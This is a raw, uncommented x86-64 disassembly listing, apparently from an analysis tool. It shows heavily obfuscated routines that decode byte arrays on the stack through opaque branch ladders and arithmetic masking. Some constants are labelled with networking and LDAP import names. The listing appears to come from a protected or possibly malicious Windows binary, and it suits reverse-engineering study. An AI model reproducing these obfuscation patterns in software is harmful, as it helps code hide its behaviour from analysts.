lea ecx, [r8 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x74
jmp 0x1400d3af4
lea rax, [r10 + 0x200]
cmp rbx, rax
jae 0x1400d3807
lea edx, [r8 + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
mov qword [rsp + 0x30], r12
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x1400d3a41
lea rax, [r10 + 0x2a]
cmp rbx, rax
jbe 0x1400d3881
lea edx, [r8 - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
mov qword [rsp + 0x30], r12
cmp rbx, 9
jae 0x1400d3a00
lea rax, [r10 + 0x20]
cmp rbx, rax
jbe 0x1400d395b
lea ecx, [r8 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0xc
jmp 0x1400d3608
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400d382e
sub r8b, 0x7c
movzx eax, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
jmp 0x1400d3c19
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400d3857
lea edx, [r8 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1400d3ba4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400d379a
add r8b, 0x54
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x4c
jmp 0x1400d3b64
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400d38aa
lea edx, [r8 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohl
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1400d3af4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400d38de
sub r8b, 0x46
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x16
inc r10
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400d3908
sub r8b, 0x76
movzx eax, r8b
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, r9b
jmp 0x1400d3b67
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400d3931
lea edx, [r8 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1400d3ba4
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400d37d5
sub r8b, 0x1a
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x4a
jmp 0x1400d3c1c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400d3981
add r8b, 8
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x38
jmp 0x1400d3c1c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400d39aa
lea edx, [r8 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1400d3ba4
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400d39cb
lea ecx, [r8 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x14
jmp 0x1400d3a1a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400d360d
sub r8b, 0x40
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x40
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
lea edx, [r8 - 0x70]
movzx eax, dl
and al, r9b
movzx ecx, r9b
sub cl, al
add cl, 8
lea r12d, [rcx + rcx]
add r12b, dl
sub r8b, 0x36
movzx eax, r9b
and al, r8b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r12b
add cl, r9b
add cl, r8b
mov byte [rsp + r11 + 0x70], cl
jmp 0x1400d3b64
lea ecx, [r8 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [rcx - 0x1c]
jmp 0x1400d3ba4
add r8b, 0x62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, r8b
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, r9b
jmp 0x1400d3bcf
add r8b, 6
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x2a
jmp 0x1400d3b64
add r8b, 0x1e
movzx eax, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, r9b
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
lea ecx, [r8 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x7a
jmp 0x1400d3af4
movzx r8d, r11b
lea ecx, [r8 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x22
add r8b, 0x56
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, r8b
mov byte [rsp + r11 + 0x70], r9b
inc r10
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x72
add rbx, r10
movzx eax, r12b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
movabs rax, 0xfab697dab79eba96
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea r12d, [r9 + rax]
sub r12b, 0x1a
movzx r8d, r11b
add r8b, 0x3e
movzx eax, r9b
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
movzx eax, cl
mov byte [rsp + r11 + 0x70], al
inc r10
add rax, r10
sub r11, rax
lea ecx, [r11 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, cl
mov byte [rsp + r11 + 0x70], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
jmp 0x1400d3c1c
movabs rax, 0x90051c824eb1bdae
add rax, r11
and dl, al
mov ecx, Ordinal_33
sub cl, dl
lea r12d, [rcx + rcx]
add r12b, al
add r12b, r9b
movzx eax, byte [rsp + r11 + 0x70]
add rax, r10
add r11, rax
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
add r8b, 0x22
movzx eax, r9b
and al, r8b
mov ecx, 9
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r9b
add r12b, r8b
mov qword [rsp + 0x30], r12
jmp 0x1400d3180
sub r8b, 0x52
movzx eax, r9b
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r9b
add r12b, r8b
mov qword [rsp + 0x30], r12
jmp 0x1400d3170
lea rax, [rbp + 0x14e7a68]
jmp 0x1400d3c98
lea rax, [rbp + 0x49b9a2]
jmp 0x1400d3c98
lea rax, [rsp + 0x70]
mov qword [rbp + 0x68], rax
mov dword [rbp - 0x70], 0xd5f9fa94
mov dword [rbp - 0x6c], 0xdbd820d8
mov dword [rbp - 0x68], 0xe7e6ed26
mov byte [rbp - 0x64], Ordinal_46
vpxor xmm0, xmm0, xmm0
xor eax, eax
vmovups xmmword [rbp - 0x63], xmm0
mov byte [rbp - 0x53], al
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r10, qword [rax]
xor edi, edi
cmp rdi, 0x1e
jae 0x1400d464b
movzx r9d, byte [rbp + rdi - 0x70]
mov r11d, r9d
movzx eax, dil
nop dword [rax]
cmp rbx, rdi
ja 0x1400d4642
lea rcx, [r10 + 1]
cmp rbx, rcx
jae 0x1400d3d2a
movabs rcx, 0x200330aa136e3854
add rcx, rdi
mov rax, r11
and rax, rcx
imul r13, rax, 0xfffffffffffffffe
add r13, r11
add r13, rcx
sub r13b, 0x4c
mov qword [rsp + 0x38], r13
jmp 0x1400d3d4a
je 0x1400d45be
lea rcx, [r10 + 7]
cmp rbx, rcx
je 0x1400d459a
lea rcx, [r10 + 2]
cmp rbx, rcx
je 0x1400d4573
movzx eax, dil
nop
cmp r10, rdi
ja 0x1400d4639
lea rcx, [r10 + 0xa]
cmp rbx, rcx
jae 0x1400d3d7e
lea edx, [rax - 0x1c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x3c
mov qword [rsp + 0x38], r13
jmp 0x1400d3db0
lea rcx, [r10 + 1]
cmp rbx, rcx
je 0x1400d452a
lea rcx, [r10 + 5]
cmp rbx, rcx
je 0x1400d44f5
lea rcx, [r10 + 3]
cmp rbx, rcx
je 0x1400d44da
nop word [rax + rax]
lea rcx, [r10 + rbx]
cmp rcx, rdi
jbe 0x1400d42b7
nop dword [rax]
lea rcx, [r10 + 0x80]
cmp rbx, rcx
je 0x1400d42a9
lea rcx, [r10 + 0x10]
cmp rbx, rcx
je 0x1400d4282
lea rcx, [r10 + 0x40]
cmp rbx, rcx
je 0x1400d4259
lea rcx, [r10 + 8]
cmp rbx, rcx
je 0x1400d423f
lea rcx, [r10 + 1]
cmp rbx, rcx
je 0x1400d4226
lea rcx, [r10 + 0x1000]
cmp rbx, rcx
je 0x1400d421a
lea rcx, [r10 + 0x41]
cmp rbx, rcx
je 0x1400d4200
lea rcx, [r10 + 0x200]
cmp rbx, rcx
je 0x1400d41e2
lea rdx, [r10 + 0x20]
cmp rbx, rdx
je 0x1400d41c9
lea rcx, [r10 + 5]
cmp rbx, rcx
je 0x1400d3dc0
mov rbx, rdx
lea r10, [rdx + 9]
lea rcx, [r10 + 5]
cmp rdx, rcx
jb 0x1400d4616
lea rcx, [r10 + 0x5a]
cmp rdx, rcx
jb 0x1400d45f8
lea rcx, [r10 + 0x3e8]
cmp rdx, rcx
jb 0x1400d3fba
lea rcx, [r10 + 0x61]
cmp rdx, rcx
jb 0x1400d3f94
lea rcx, [r10 + 0x64]
cmp rdx, rcx
jb 0x1400d3f75
lea rcx, [r10 + 0xa]
cmp rdx, rcx
jb 0x1400d4173
lea rcx, [r10 + 3]
cmp rdx, rcx
jb 0x1400d4124
lea rcx, [r10 + 6]
cmp rdx, rcx
jb 0x1400d40e0
lea rcx, [r10 + 0x2a]
cmp rdx, rcx
jb 0x1400d40b5
lea rcx, [r10 + 0x400]
cmp rdx, rcx
jb 0x1400d3dc0
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x40]
lea rcx, [r10 + 0x10]
cmp rbx, rcx
ja 0x1400d409c
lea rcx, [r10 + 0x40]
cmp rbx, rcx
ja 0x1400d4090
lea rcx, [r10 + 8]
cmp rbx, rcx
ja 0x1400d4076
lea rcx, [r10 + 1]
cmp rbx, rcx
ja 0x1400d406a
lea rcx, [r10 + 0x1000]
cmp rbx, rcx
ja 0x1400d4051
lea rcx, [r10 + 0x41]
cmp rbx, rcx
ja 0x1400d4037
lea rcx, [r10 + 0x200]
cmp rbx, rcx
ja 0x1400d400e
lea rcx, [r10 + 0x20]
cmp rbx, rcx
ja 0x1400d3fe7
lea rdx, [r10 + 5]
cmp rbx, rdx
ja 0x1400d3fd9
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x1400d3dc0
mov rbx, rdx
lea r10, [rdx + 2]
jmp 0x1400d3dc0
lea edx, [rax - 0x64]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x44
mov qword [rsp + 0x38], r13
jmp 0x1400d3db0
lea r8d, [rax - 0xc]
movzx ecx, r8b
and cl, r9b
mov edx, Ordinal_46
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, r8b
add r13b, r9b
mov qword [rsp + 0x38], r13
jmp 0x1400d3d50
lea edx, [rax + 0x4c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x14
mov qword [rsp + 0x38], r13
jmp 0x1400d3cf0
lea r8d, [rax + 0x20]
mov edx, reloc.WS2_32.dll_recv
jmp 0x1400d4533
add al, 0x78
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x48
inc r10
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
sub al, 0x30
movzx ecx, al
and cl, r9b
mov edx, Ordinal_41
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
lea edx, [rax + 0x28]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x18
jmp 0x1400d4456
add al, 0x80
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
add r13b, 0x80
jmp 0x1400d4509
sub al, 0x28
mov edx, ntohl
jmp 0x1400d44e1
lea edx, [rax + 0x30]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x50
jmp 0x1400d4488
sub al, 0x78
mov edx, 0x24
jmp 0x1400d41e9
sub al, 0x20
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x20
jmp 0x1400d45e0
add al, 0x3c
movzx ecx, al
and cl, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
mov qword [rsp + 0x38], r13
mov byte [rbp + rdi - 0x70], r13b
inc rdi
jmp 0x1400d3cd5
lea edx, [rax - 0x6c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0xc
mov qword [rsp + 0x38], r13
cmp r10, 6
jb 0x1400d40d3
lea edx, [rax + 0x78]
movzx ecx, dl
and cl, r9b
mov r8d, Ordinal_33
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r9b
lea r13d, [r8 + r8]
jmp 0x1400d4546
lea edx, [rax - 0x14]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x74
mov qword [rsp + 0x38], r13
cmp rbx, 1
jae 0x1400d443b
lea rcx, [r10 + 1]
cmp rbx, rcx
jne 0x1400d43eb
sub al, 0x70
movzx ecx, al
and cl, r9b
mov edx, 8
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
jmp 0x1400d45e0
lea r8d, [rax + 0x44]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, r8b
add r13b, r9b
mov qword [rsp + 0x38], r13
lea rcx, [r10 + rbx]
cmp rcx, 0x28
je 0x1400d4477
lea rcx, [r10 + 0xa]
cmp rbx, rcx
jbe 0x1400d4399
lea edx, [rax + 4]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x1c
jmp 0x1400d4139
add al, 0x58
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x68
jmp 0x1400d45e0
sub al, 0x50
mov edx, Ordinal_27
movzx ecx, al
and cl, r9b
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
jmp 0x1400d44ae
lea edx, [rax + 8]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x38
jmp 0x1400d4488
add al, 0x60
mov edx, Ordinal_50
jmp 0x1400d44e1
sub al, 0x48
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 8
jmp 0x1400d4509
lea edx, [rax + 0x10]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x70
jmp 0x1400d4456
add al, 0x68
movzx ecx, al
and cl, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
sub al, 0x40
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x40
inc r10
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
lea r8d, [rax + 0x18]
mov edx, Ordinal_46
jmp 0x1400d4533
lea rcx, [r10 + 1]
cmp rbx, rcx
jae 0x1400d42da
lea edx, [rax + 0x54]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x4c
jmp 0x1400d418f
jne 0x1400d42f5
sub al, 0x38
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x78
jmp 0x1400d45e0
lea rcx, [r10 + 3]
cmp rbx, rcx
jne 0x1400d431f
lea r8d, [rax + 0x18]
movzx ecx, r8b
and cl, r9b
mov edx, Ordinal_46
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, r8b
add r13b, r9b
jmp 0x1400d4488
lea rcx, [r10 + 2]
cmp rbx, rcx
jne 0x1400d4341
sub al, 0x40
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x40
jmp 0x1400d450c
lea rcx, [r10 + 5]
cmp rbx, rcx
jne 0x1400d4368
add al, 0x68
movzx ecx, al
and cl, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
jmp 0x1400d4509
lea rcx, [r10 + 7]
cmp rbx, rcx
jne 0x1400d4194
sub al, 0x48
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 8
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
lea rcx, [r10 + 1]
cmp rbx, rcx
jne 0x1400d43b0
lea r8d, [rax - 0x54]
mov edx, Ordinal_41
jmp 0x1400d4533
lea rcx, [r10 + 5]
cmp rbx, rcx
jne 0x1400d43d2
add al, 0x4c
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x14
jmp 0x1400d4509
lea rcx, [r10 + 3]
cmp rbx, rcx
jne 0x1400d413e
sub al, 0xc
mov edx, Ordinal_46
jmp 0x1400d44e1
lea rcx, [r10 + 3]
cmp rbx, rcx
jne 0x1400d440b
lea edx, [rax - 0x20]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [r9 + rdx]
sub r13b, 0x20
jmp 0x1400d4488
lea rcx, [r10 + 2]
cmp rbx, rcx
jne 0x1400d4420
sub al, 0x78
mov edx, 0x24
jmp 0x1400d44e1
lea rcx, [r10 + 5]
cmp rbx, rcx
jne 0x1400d40fa
lea r8d, [rax - 0x30]
mov edx, Ordinal_41
jmp 0x1400d4533
lea r8d, [rax + 0x20]
movzx ecx, r8b
and cl, r9b
movzx edx, r9b
sub dl, cl
add dl, 0x10
lea r13d, [rdx + rdx]
add r13b, r8b
add al, 0x74
movzx ecx, al
and cl, r9b
add cl, cl
movzx edx, r13b
sub dl, cl
sub dl, 0x2c
add dl, al
add dl, r9b
mov byte [rbp + rdi - 0x70], dl
jmp 0x1400d4509
lea edx, [rax - 0x38]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea r13d, [rdx - 0x78]
add al, 0x1c
movzx ecx, al
and cl, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
add dl, dl
add dl, al
add dl, r9b
movzx eax, dl
mov byte [rbp + rdi - 0x70], al
inc r10
add rax, r10
sub rdi, rax
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x10
add cl, r9b
mov byte [rbp + rdi - 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rdi, rax
jmp 0x1400d45e0
sub al, 0x2c
mov edx, reloc.WLDAP32.dll_Ordinal_26
movzx ecx, al
and cl, r9b
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
jmp 0x1400d450c
add al, 0x2c
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x34
add rbx, r10
movzx eax, r13b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
lea r8d, [rax - 0x74]
mov edx, reloc.WLDAP32.dll_Ordinal_22
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, r8b
add r13b, r9b
sub al, 0x34
movzx ecx, al
and cl, r9b
mov edx, gethostname
sub dl, cl
add dl, dl
add dl, al
add dl, r9b
mov byte [rbp + rdi - 0x70], dl
inc r10
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
sub al, 0x6c
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0xc
inc r10
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
sub al, 0x14
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x74
dec rdi
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
movabs rcx, 0x600991fe3a4aa8fc
add rcx, rdi
and r11b, cl
mov eax, reloc.WS2_32.dll_ntohl
sub al, r11b
lea r13d, [rax + rax]
add r13b, r9b
add r13b, cl
movzx eax, byte [rbp + rdi - 0x70]
add rax, r10
add rdi, rax
mov qword [rsp + 0x38], r13
inc rdi
jmp 0x1400d3cd5
sub al, 0x5c
movzx ecx, al
and cl, r9b
add cl, cl
sub al, cl
lea r13d, [r9 + rax]
sub r13b, 0x7c
mov qword [rsp + 0x38], r13
jmp 0x1400d3cd3
sub al, 4
movzx ecx, al
and cl, r9b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, cl
lea r13d, [rdx + rdx]
add r13b, al
add r13b, r9b
mov qword [rsp + 0x38], r13
jmp 0x1400d3cc3
lea rax, [rbp + 0x14dd800]
jmp 0x1400d464f
lea rax, [rbp + 0xfc1054]
jmp 0x1400d464f
lea rax, [rbp - 0x70]
mov qword [rbp + 0x70], rax
mov dword [rsp + 0x40], 0x3f332253
mov dword [rsp + 0x44], 0x3e5e283c
mov dword [rsp + 0x48], 0x694a3838
mov dword [rsp + 0x4c], 0x54505d6c
mov dword [rsp + 0x50], 0x3027294c
mov dword [rsp + 0x54], 0xcb942b31
mov dword [rsp + 0x58], 0x639e9fd4
xor eax, eax
mov qword [rsp + 0x5c], rax
mov dword [rsp + 0x64], eax
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r10, qword [rax]
nop word [rax + rax]
xor edi, edi
cmp rdi, 0x28
jae 0x1400d52cc
movzx r9d, byte [rsp + rdi + 0x40]
mov r11d, r9d
cmp rbx, rdi
ja 0x1400d52c3
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400d46ff
movabs rcx, 0x2467ae00ca0a3f6a
add rcx, rdi
mov rax, r11
and rax, rcx
imul r14, rax, 0xfffffffffffffffe
add r14, r11
add r14, rcx
add r14b, 0x1a
mov qword [rsp + 0x20], r14
jmp 0x1400d4746
je 0x1400d5238
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400d51c1
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400d5185
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400d5141
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1400d511c
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1400d50d1
movzx r8d, dil
nop word [rax + rax]
cmp r10, rdi
ja 0x1400d52ba
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x1400d4770
lea edx, [r8 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1400d4978
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400d50b4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400d508c
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400d5068
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400d5047
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400d502c
lea rax, [rbx + r10]
cmp rax, rdi
jbe 0x1400d4d14
nop
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1400d4cf4
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1400d4cc5
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400d4c9d
lea rcx, [r10 + 5]
cmp rbx, rcx
je 0x1400d4c7e
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1400d4c5e
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1400d4c3d
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1400d4c1d
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400d4bfd
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400d4be0
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1400d47c0
mov rbx, rcx
lea r10, [rcx + 0x400]
lea rax, [r10 + 9]
cmp rcx, rax
jb 0x1400d5294
lea rax, [r10 + 0x20]
cmp rcx, rax
jb 0x1400d5272
lea rax, [r10 + 0x41]
cmp rcx, rax
jb 0x1400d49b4
lea rcx, [r10 + 1]
cmp rbx, rcx
jb 0x1400d4994
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1400d496f
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1400d4bd2
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1400d4b7d
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x1400d4b38
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1400d4b0e
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1400d47c0
mov rbx, rcx
lea r10, [rcx + 0x64]
lea rax, [r10 + 4]
cmp rcx, rax
ja 0x1400d4aed
lea rax, [r10 + 8]
cmp rcx, rax
ja 0x1400d4acd
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x1400d4aae
lea rcx, [r10 + 0x7a]
cmp rbx, rcx
ja 0x1400d4a8d
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1400d4a69
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1400d4a49
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1400d4a21
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1400d49f6
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1400d49d6
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1400d47c0
mov rbx, rcx
lea r10, [rcx + 0x20]
jmp 0x1400d47c0
lea edx, [r8 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r9b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
mov qword [rsp + 0x20], r14
jmp 0x1400d47b1
lea ecx, [r8 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x16
mov qword [rsp + 0x20], r14
jmp 0x1400d4750
sub r8b, 0x1a
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r14d, [r9 + r8]
sub r14b, 0x4a
mov qword [rsp + 0x20], r14
jmp 0x1400d46c5
lea edx, [r8 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, dl
jmp 0x1400d50eb
sub r8b, 0x44
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 0x24
inc r10
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
sub r8b, 0x18
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 0x58
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
lea edx, [r8 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, dl
jmp 0x1400d5160
add r8b, 0x40
movzx eax, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
